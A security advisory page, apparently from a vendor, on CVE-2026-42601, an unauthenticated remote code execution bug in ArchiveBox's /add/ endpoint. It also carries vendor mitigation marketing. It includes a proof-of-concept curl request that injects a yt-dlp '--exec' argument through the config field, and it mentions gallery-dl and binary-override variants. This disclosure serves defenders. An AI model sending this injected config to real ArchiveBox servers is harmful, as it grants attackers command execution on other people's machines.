CVE-2026-42601 — archivebox
CVE-2026-42601 is a CWE-88 vulnerability in archivebox. No vendor fix is recorded yet; mitigation options are listed below.
ArchiveBox Vulnerable to RCE via unvalidated per-crawl config overrides in AddView
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-42601.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
archiveboxReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
The /add/ endpoint (AddView in core/views.py) accepts a config JSON field that gets merged into the crawl config without validation. This config is exported as environment variables when archive plugins run, allowing injection of arbitrary tool arguments to achieve RCE.
When PUBLIC_ADD_VIEW=True (common for bookmarklet usage), this is exploitable without authentication. The endpoint is also @csrf_exempt.
Affected code:
core/views.py:887 - user config extracted with no validation: custom_config = form.cleaned_data.get("config") or {}
core/views.py:918 - merged into crawl config: config.update(custom_config)
config/configset.py:255-256 - crawl config applied with high priority: if crawl and hasattr(crawl, "config") and crawl.config: config.update(crawl.config)
hooks.py:398-411 - config exported as env vars: for key, value in config.items(): if key in SKIP_KEYS: continue env[key] = str(value)
plugins/ytdlp/on_Snapshot__02_ytdlp.bg.py:122-123 - env var args passed to yt-dlp: ytdlp_args_extra = get_env_array("YTDLP_ARGS_EXTRA", []) cmd.extend(ytdlp_args_extra)
PoC (pre-auth when PUBLIC_ADD_VIEW=True):
curl -X POST http://localhost:8000/add/
-d "url=https://www.youtube.com/watch?v=dQw4w9WgXcQ"
-d "depth=0"
-d "config={"YTDLP_ARGS_EXTRA": "[\"--exec\", \"id > /tmp/pwned\"]"}"
After the crawl runs, yt-dlp executes id > /tmp/pwned via its --exec flag.
Same approach works with GALLERYDL_ARGS_EXTRA (gallery-dl --exec), or overriding any *_BINARY key.
Impact: Remote code execution on the ArchiveBox server. Pre-auth when PUBLIC_ADD_VIEW=True.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | archivebox | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for archivebox, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
No patched version of archivebox has shipped for CVE-2026-42601 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-42601 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-42601. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-42601 in your dependencies?
O3 Security finds CVE-2026-42601 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.